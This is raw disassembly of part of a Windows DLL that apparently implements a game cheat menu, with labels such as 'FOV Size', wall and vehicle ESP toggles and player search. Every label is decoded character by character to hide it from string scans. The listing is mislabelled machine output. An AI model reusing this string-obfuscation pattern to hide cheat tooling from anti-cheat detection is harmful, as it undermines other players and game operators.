call fcn.180056810
mov byte [rsp + 0x57], al
mov cl, 0x79
call fcn.180056810
mov byte [rsp + 0x58], al
mov cl, 0x20
call fcn.180056810
mov byte [rsp + 0x59], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
mov byte [rsp + 0x5a], al
mov cl, WSAGetLastError
call fcn.180056810
movzx r13d, al
mov cl, 0x20
call fcn.180056810
movzx r12d, al
mov cl, 0x47
call fcn.180056810
movzx r15d, al
mov cl, 0x4c
call fcn.180056810
movzx r14d, al
mov cl, 0x69
call fcn.180056810
movzx esi, al
mov cl, 0x66
call fcn.180056810
movzx edi, al
mov cl, 0x65
call fcn.180056810
movzx ebx, al
xor ecx, ecx
call fcn.180056810
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xbc0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xbc1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xbc2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xbc3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xbc4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xbc5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xbc6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xbc7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xbc8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xbc9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xbca], cl
mov byte [rbp + 0xbcb], r13b
mov byte [rbp + 0xbcc], r12b
mov byte [rbp + 0xbcd], r15b
mov byte [rbp + 0xbce], r14b
mov byte [rbp + 0xbcf], sil
mov byte [rbp + 0xbd0], dil
mov byte [rbp + 0xbd1], bl
mov byte [rbp + 0xbd2], al
lea rcx, [rbp + 0x2eb8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_send
mov edx, ebx
lea rcx, [rbp + 0x2eb8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xbc0]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.180056810
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2eb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1230
lea rcx, [rbp + 0x2eb8]
call fcn.1800143e0
mov rdx, rax
lea rcx, [rbp + 0x4658]
call fcn.1800143f0
movdqa xmmword [rbp - 0x70], xmm6
movaps xmm3, xmm14
lea r8, [rbp - 0x70]
lea rdx, [0x1801cc57c]
mov rcx, rax
call fcn.1800b0870
nop
lea rcx, [rbp + 0x2eb8]
call fcn.180011f20
mov byte [0x1805e4e60], sil
call fcn.180096cd0
call fcn.180096cd0
movaps xmm0, xmm8
call fcn.180076bd0
movss xmm1, dword [0x1801ce5d0]
mov ecx, reloc.WS2_32.dll_listen
call fcn.1800696e0
lea rcx, [rbp + 0x3d50]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm8
lea rcx, [rbp + 0x3d58]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0xb10], rax
mov dword [rbp + 0xb18], eax
mov cl, 0x52
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180014950
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014950
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.180014950
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.180014950
movzx r13d, al
mov cl, 0x63
call fcn.180014950
movzx r12d, al
mov cl, 0x65
call fcn.180014950
movzx r15d, al
mov cl, 0x20
call fcn.180014950
movzx r14d, al
mov cl, 0x43
call fcn.180014950
movzx esi, al
mov cl, 0x61
call fcn.180014950
movzx edi, al
mov cl, WSAStartup
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb10], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb11], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb12], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb13], cl
mov byte [rbp + 0xb14], r13b
mov byte [rbp + 0xb15], r12b
mov byte [rbp + 0xb16], r15b
mov byte [rbp + 0xb17], r14b
mov byte [rbp + 0xb18], sil
mov byte [rbp + 0xb19], dil
mov byte [rbp + 0xb1a], bl
mov byte [rbp + 0xb1b], al
lea rcx, [rbp + 0x2ed8]
call fcn.180011f00
mov dword [rsp + 0x70], 2
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2ed8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xb10]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2ed8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1420
lea rcx, [rbp + 0x2ed8]
call fcn.1800143e0
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180094d40
movzx ebx, al
lea rcx, [rbp + 0x2ed8]
call fcn.180011f20
test bl, bl
je 0x1800e1486
mov byte [0x1805e4f61], 1
mov ecx, 1
call fcn.1800697c0
call fcn.180075800
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180070430
movaps xmm0, xmm8
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm13
call fcn.180076c20
lea rcx, [rbp + 0x3d60]
call fcn.180076f00
movss xmm6, dword [rax + 4]
subss xmm6, xmm8
lea rcx, [rbp + 0x3d68]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm1, xmm13
movaps xmm2, xmm6
lea rcx, [rbp + 0x3d70]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x7e8], eax
mov word [rbp + 0x7ec], ax
mov cl, 0x23
call fcn.180056ae0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.180056ae0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ae0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056ae0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ae0
mov byte [rsp + 0x54], al
mov cl, 0x69
call fcn.180056ae0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ae0
movzx r13d, al
mov cl, WSAGetLastError
call fcn.180056ae0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056ae0
movzx r15d, al
mov cl, 0x5f
call fcn.180056ae0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ae0
movzx esi, al
mov cl, 0x61
call fcn.180056ae0
movzx edi, al
mov cl, 0x62
call fcn.180056ae0
movzx ebx, al
xor ecx, ecx
call fcn.180056ae0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x7e0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x7e1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x7e2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x7e3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x7e4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x7e5], cl
mov byte [rbp + 0x7e6], r13b
mov byte [rbp + 0x7e7], r12b
mov byte [rbp + 0x7e8], r15b
mov byte [rbp + 0x7e9], r14b
mov byte [rbp + 0x7ea], sil
mov byte [rbp + 0x7eb], dil
mov byte [rbp + 0x7ec], bl
mov byte [rbp + 0x7ed], al
lea rcx, [rbp + 0x2ef8]
call fcn.180011f00
mov dword [rsp + 0x70], 4
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2ef8]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x7e0]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.180056ae0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2ef8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800e1660
lea rcx, [rbp + 0x2ef8]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x2ef8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x11f0], rax
mov cl, 0x4f
call fcn.1800ed7d0
mov byte [rsp + 0x68], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x69], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7d0
mov byte [rsp + 0x6a], al
mov cl, 0x69
call fcn.1800ed7d0
mov byte [rsp + 0x6b], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x6c], al
mov cl, WSAGetLastError
call fcn.1800ed7d0
mov byte [rsp + 0x6d], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed7d0
mov byte [rsp + 0x6e], al
xor ecx, ecx
call fcn.1800ed7d0
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x68]
mov qword [rbp + 0x11f0], rax
lea rcx, [rbp + 0x2f18]
call fcn.180011f00
mov ebx, 8
mov dword [rsp + 0x70], ebx
xor r8d, r8d
mov edx, ebx
lea rcx, [rbp + 0x2f18]
call fcn.180014330
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11f0]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.1800ed7d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2f18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1760
lea rcx, [rbp + 0x2f18]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x2f18]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movaps xmm0, xmm10
call fcn.180076bd0
movss xmm7, dword [0x1801ce7c0]
movaps xmm0, xmm7
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0xb00], rax
mov dword [rbp + 0xb08], eax
mov cl, 0x20
call fcn.180056a30
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180056a30
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056a30
mov byte [rsp + 0x52], al
mov cl, 0x4e
call fcn.180056a30
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a30
movzx r13d, al
mov cl, 0x20
call fcn.180056a30
movzx r12d, al
mov cl, 0x50
call fcn.180056a30
movzx r15d, al
mov cl, WSAStartup
call fcn.180056a30
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056a30
movzx esi, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056a30
movzx edi, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056a30
movzx ebx, al
xor ecx, ecx
call fcn.180056a30
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb00], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb01], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb02], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb03], cl
mov byte [rbp + 0xb04], r13b
mov byte [rbp + 0xb05], r12b
mov byte [rbp + 0xb06], r15b
mov byte [rbp + 0xb07], r14b
mov byte [rbp + 0xb08], sil
mov byte [rbp + 0xb09], dil
mov byte [rbp + 0xb0a], bl
mov byte [rbp + 0xb0b], al
lea rcx, [rbp + 0x2f38]
call fcn.180011f00
mov dword [rsp + 0x70], reloc.WS2_32.dll_recv
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2f38]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb00]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056a30
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2f38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1900
lea rcx, [rbp + 0x2f38]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e484b]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2f38]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf90], xmm0
mov qword [rbp + 0xfa0], rax
mov byte [rbp + 0xfa8], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x52], al
mov cl, 0x57
call fcn.1800148c0
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.1800148c0
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.1800148c0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800148c0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x57], al
mov cl, 0x50
call fcn.1800148c0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.1800148c0
mov byte [rsp + 0x59], al
mov cl, 0x64
call fcn.1800148c0
mov byte [rsp + 0x5a], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x60], al
mov cl, 0x49
call fcn.1800148c0
mov byte [rsp + 0x61], al
mov cl, WSAGetLastError
call fcn.1800148c0
mov byte [rsp + 0x62], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800148c0
mov byte [rsp + 0x63], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800148c0
mov byte [rsp + 0x78], al
mov cl, 0x20
call fcn.1800148c0
mov byte [rsp + 0x79], al
mov cl, 0x56
call fcn.1800148c0
movzx r13d, al
mov cl, 0x65
call fcn.1800148c0
movzx r12d, al
mov cl, 0x68
call fcn.1800148c0
movzx r15d, al
mov cl, 0x69
call fcn.1800148c0
movzx r14d, al
mov cl, 0x63
call fcn.1800148c0
movzx esi, al
mov cl, 0x6c
call fcn.1800148c0
movzx edi, al
mov cl, 0x65
call fcn.1800148c0
movzx ebx, al
xor ecx, ecx
call fcn.1800148c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf90], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf91], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf92], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf93], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf94], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf95], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf96], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf97], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf98], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf99], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xf9a], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xf9b], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xf9c], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xf9d], cl
movzx ecx, byte [rsp + 0x63]
mov byte [rbp + 0xf9e], cl
movzx ecx, byte [rsp + 0x78]
mov byte [rbp + 0xf9f], cl
movzx ecx, byte [rsp + 0x79]
mov byte [rbp + 0xfa0], cl
mov byte [rbp + 0xfa1], r13b
mov byte [rbp + 0xfa2], r12b
mov byte [rbp + 0xfa3], r15b
mov byte [rbp + 0xfa4], r14b
mov byte [rbp + 0xfa5], sil
mov byte [rbp + 0xfa6], dil
mov byte [rbp + 0xfa7], bl
mov byte [rbp + 0xfa8], al
lea rcx, [rbp + 0x2f58]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20
xor r8d, r8d
mov esi, 0x19
mov edx, esi
lea rcx, [rbp + 0x2f58]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xf90]
call fcn.180056770
movzx ecx, byte [rax]
call fcn.1800148c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2f58]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1bb0
lea rcx, [rbp + 0x2f58]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e4813]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2f58]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xae0], rax
mov dword [rbp + 0xae8], eax
mov cl, 0x20
call fcn.180056b20
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.180056b20
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.180056b20
mov byte [rsp + 0x52], al
mov cl, 0x46
call fcn.180056b20
mov byte [rsp + 0x53], al
mov cl, 0x4f
call fcn.180056b20
movzx r13d, al
mov cl, 0x56
call fcn.180056b20
movzx r12d, al
mov cl, 0x20
call fcn.180056b20
movzx r15d, al
mov cl, 0x43
call fcn.180056b20
movzx r14d, al
mov cl, 0x61
call fcn.180056b20
movzx esi, al
mov cl, WSAStartup
call fcn.180056b20
movzx edi, al
mov cl, 0x20
call fcn.180056b20
movzx ebx, al
xor ecx, ecx
call fcn.180056b20
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xae0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xae1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xae2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xae3], cl
mov byte [rbp + 0xae4], r13b
mov byte [rbp + 0xae5], r12b
mov byte [rbp + 0xae6], r15b
mov byte [rbp + 0xae7], r14b
mov byte [rbp + 0xae8], sil
mov byte [rbp + 0xae9], dil
mov byte [rbp + 0xaea], bl
mov byte [rbp + 0xaeb], al
lea rcx, [rbp + 0x2f78]
call fcn.180011f00
mov dword [rsp + 0x70], 0x40
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x2f78]
call fcn.180014330
xor edi, edi
mov esi, ebx
mov rdx, rdi
lea rcx, [rbp + 0xae0]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056b20
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2f78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e1d31
lea rcx, [rbp + 0x2f78]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3332]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2f78]
call fcn.180011f20
movaps xmm0, xmm10
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbd8], xmm0
mov word [rbp + 0xbe8], ax
mov byte [rbp + 0xbea], al
mov cl, 0x20
call fcn.1800147a0
mov byte [rsp + 0x50], al
mov cl, 0x20
call fcn.1800147a0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800147a0
mov byte [rsp + 0x52], al
mov cl, 0x46
call fcn.1800147a0
mov byte [rsp + 0x53], al
mov cl, 0x4f
call fcn.1800147a0
mov byte [rsp + 0x54], al
mov cl, 0x56
call fcn.1800147a0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800147a0
mov byte [rsp + 0x56], al
mov cl, 0x46
call fcn.1800147a0
mov byte [rsp + 0x57], al
mov cl, 0x69
call fcn.1800147a0
mov byte [rsp + 0x58], al
mov cl, 0x6c
call fcn.1800147a0
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.1800147a0
mov byte [rsp + 0x5a], al
mov cl, 0x65
call fcn.1800147a0
movzx r13d, al
mov cl, 0x64
call fcn.1800147a0
movzx r12d, al
mov cl, 0x20
call fcn.1800147a0
movzx r15d, al
mov cl, 0x43
call fcn.1800147a0
movzx r14d, al
mov cl, 0x61
call fcn.1800147a0
movzx esi, al
mov cl, WSAStartup
call fcn.1800147a0
movzx edi, al
mov cl, 0x20
call fcn.1800147a0
movzx ebx, al
xor ecx, ecx
call fcn.1800147a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xbd8], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xbd9], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xbda], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xbdb], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xbdc], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xbdd], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xbde], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xbdf], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xbe0], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xbe1], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xbe2], cl
mov byte [rbp + 0xbe3], r13b
mov byte [rbp + 0xbe4], r12b
mov byte [rbp + 0xbe5], r15b
mov byte [rbp + 0xbe6], r14b
mov byte [rbp + 0xbe7], sil
mov byte [rbp + 0xbe8], dil
mov byte [rbp + 0xbe9], bl
mov byte [rbp + 0xbea], al
lea rcx, [rbp + 0x2f98]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_send
mov edx, ebx
lea rcx, [rbp + 0x2f98]
call fcn.180014330
xor esi, esi
mov edi, esi
mov r14d, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xbd8]
call fcn.180014820
movzx ecx, byte [rax]
call fcn.1800147a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2f98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub r14, 1
jne 0x1800e1f60
lea rcx, [rbp + 0x2f98]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e3331]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x2f98]
call fcn.180011f20
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
call fcn.180096cd0
lea rcx, [rbp + 0x3d78]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
movss xmm12, dword [0x1801ce7e4]
subss xmm0, xmm12
call fcn.180076bd0
xor eax, eax
mov word [rbp - 0x54], ax
mov byte [rbp - 0x52], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056740
movzx edi, al
mov cl, 0x78
call fcn.180056740
movzx ebx, al
xor ecx, ecx
call fcn.180056740
mov byte [rbp - 0x54], dil
mov byte [rbp - 0x53], bl
mov byte [rbp - 0x52], al
lea rcx, [rbp + 0x2fd8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x100
xor r8d, r8d
mov ebx, 3
mov edx, ebx
lea rcx, [rbp + 0x2fd8]
call fcn.180014330
mov edi, ebx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp - 0x54]
call fcn.18001e4e0
movzx ecx, byte [rax]
call fcn.180056740
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x2fd8]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub rdi, 1
jne 0x1800e2070
lea rcx, [rbp + 0x2fd8]
call fcn.1800143e0
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x6c8], eax
mov byte [rbp + 0x6cc], al
mov cl, 0x46
call fcn.1800569b0
mov byte [rsp + 0x50], al
mov cl, 0x4f
call fcn.1800569b0
mov byte [rsp + 0x51], al
mov cl, 0x56
call fcn.1800569b0
mov byte [rsp + 0x52], al
mov cl, 0x20
call fcn.1800569b0
mov byte [rsp + 0x53], al
mov cl, 0x43
call fcn.1800569b0
mov byte [rsp + 0x54], al
mov cl, 0x61
call fcn.1800569b0
movzx r13d, al
mov cl, WSAStartup
call fcn.1800569b0
movzx r12d, al
mov cl, 0x20
call fcn.1800569b0
movzx r15d, al
mov cl, 0x53
call fcn.1800569b0
movzx r14d, al
mov cl, 0x69
call fcn.1800569b0
movzx esi, al
mov cl, 0x7a
call fcn.1800569b0
movzx edi, al
mov cl, 0x65
call fcn.1800569b0
movzx ebx, al
xor ecx, ecx
call fcn.1800569b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x6c0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x6c1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x6c2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x6c3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x6c4], cl
mov byte [rbp + 0x6c5], r13b
mov byte [rbp + 0x6c6], r12b
mov byte [rbp + 0x6c7], r15b
mov byte [rbp + 0x6c8], r14b
mov byte [rbp + 0x6c9], sil
mov byte [rbp + 0x6ca], dil
mov byte [rbp + 0x6cb], bl
mov byte [rbp + 0x6cc], al
lea rcx, [rbp + 0x2fb8]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x8000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_listen
mov edx, ebx
lea rcx, [rbp + 0x2fb8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x6c0]
call fcn.180014aa0
movzx ecx, byte [rax]
call fcn.1800569b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x2fb8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e21f0
lea rcx, [rbp + 0x2fb8]
call fcn.1800143e0
mov byte [rsp + 0x28], sil
mov rcx, qword [rbp - 0x80]
mov qword [rsp + 0x20], rcx
movss xmm3, dword [0x1801ce870]
movss xmm2, dword [0x1801ce744]
lea rdx, [0x1801f6790]
mov rcx, rax
call fcn.1800b35f0
nop
lea rcx, [rbp + 0x2fb8]
call fcn.180011f20
nop
lea rcx, [rbp + 0x2fd8]
call fcn.180011f20
call fcn.180075800
call fcn.180070430
lea rcx, [rbp + 0x3d80]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
movaps xmm0, xmm8
call fcn.180076c20
mov dword [rsp + 0x20], 0xc8
mov eax, recv
mov r9d, eax
mov r8d, eax
mov edx, eax
lea rcx, [rbp + 0x4958]
call fcn.180011e40
mov rdx, rax
lea ecx, [rsi + 7]
call fcn.180069630
mov dword [rsp + 0x20], 0xff
mov edx, 0xc8
mov r9d, edx
mov r8d, edx
lea rcx, [rbp + 0x4968]
call fcn.180011e40
mov rdx, rax
xor ecx, ecx
call fcn.180069630
lea rcx, [rbp + 0x3d88]
call fcn.180076f00
movss xmm2, dword [rax]
subss xmm2, xmm8
lea rdx, str.search_players
lea rcx, [0x1805e5eb0]
call fcn.180068f50
lea ecx, [rsi + 2]
call fcn.180069690
lea rcx, [rbp + 0x3d90]
call fcn.180076f00
movss xmm0, dword [rax]
mulss xmm0, xmm9
addss xmm0, xmm13
call fcn.180076bd0
call fcn.180076ba0
addss xmm0, xmm14
call fcn.180076c20
lea rcx, [rbp + 0x3d98]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
subss xmm6, xmm13
lea rcx, [rbp + 0x3da0]
call fcn.180076f00
movss xmm1, dword [rax]
subss xmm1, xmm8
movaps xmm2, xmm6
lea rcx, [rbp + 0x3da8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xbf0], xmm0
mov word [rbp + 0xc00], ax
mov byte [rbp + 0xc02], al
mov cl, 0x23
call fcn.1800147e0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800147e0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800147e0
mov byte [rsp + 0x52], al
mov cl, 0x6c
call fcn.1800147e0
mov byte [rsp + 0x53], al
mov cl, 0x61
call fcn.1800147e0
mov byte [rsp + 0x54], al
mov cl, 0x79
call fcn.1800147e0
mov byte [rsp + 0x55], al
mov cl, 0x65
call fcn.1800147e0
mov byte [rsp + 0x56], al
mov cl, WSAStartup
call fcn.1800147e0
mov byte [rsp + 0x57], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147e0
mov byte [rsp + 0x58], al
mov cl, 0x5f
call fcn.1800147e0
mov byte [rsp + 0x59], al
mov cl, 0x6c
call fcn.1800147e0
mov byte [rsp + 0x5a], al
mov cl, 0x69
call fcn.1800147e0
